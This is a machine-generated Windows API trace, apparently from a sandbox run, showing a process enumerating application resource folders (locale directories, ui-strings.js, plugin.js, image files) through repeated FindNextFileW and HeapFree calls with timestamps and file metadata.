	[0171.982] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0171.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.983] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0171.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.983] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0171.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.984] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0171.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.984] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0171.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.985] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0171.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.985] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0171.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.985] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0171.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.986] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0171.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.986] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0171.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.987] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0171.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.987] FindNextFileW (in: hFindFile=0x394b578, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0171.987] FindClose (in: hFindFile=0x394b578 | out: hFindFile=0x394b578) returned 1
	[0171.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0171.987] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6b57, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0171.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0171.987] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0171.987] FindClose (in: hFindFile=0x394b6f8 | out: hFindFile=0x394b6f8) returned 1
	[0171.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0171.989] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="on-boarding", cAlternateFileName="ON-BOA~1")) returned 1
	[0171.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0171.992] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0172.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.307] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0172.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.324] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1
	[0172.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.326] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0172.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.332] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1
	[0172.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.333] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0172.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.505] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0172.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.505] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1
	[0172.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.505] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0172.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.506] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0172.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.506] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0172.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.506] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0172.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.507] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15eb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1
	[0172.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.507] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0172.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.507] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0172.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.507] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0172.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.508] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0172.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.508] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0172.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0172.509] FindNextFileW (in: hFindFile=0x394ba38, lpFindFileData=0x2fbdcac | out: lpFindFileData=0x2fbdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0172.509] FindClose (in: hFindFile=0x394ba38 | out: hFindFile=0x394ba38) returned 1
	[0172.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0172.607] FindNextFileW (in: hFindFile=0x394b9b8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7962, dwReserved0=0x0, dwReserved1=0x0, cFileName="multi-tab-file-view-2x.png", cAlternateFileName="MULTI-~2.PNG")) returned 1
	[0172.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.670] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themeless", cAlternateFileName="THEMEL~1")) returned 0
	[0172.670] FindClose (in: hFindFile=0x394ba78 | out: hFindFile=0x394ba78) returned 1
	[0172.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0172.671] FindNextFileW (in: hFindFile=0x394b8f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0172.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46c03d8 | out: hHeap=0x4f0000) returned 1
	[0172.681] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
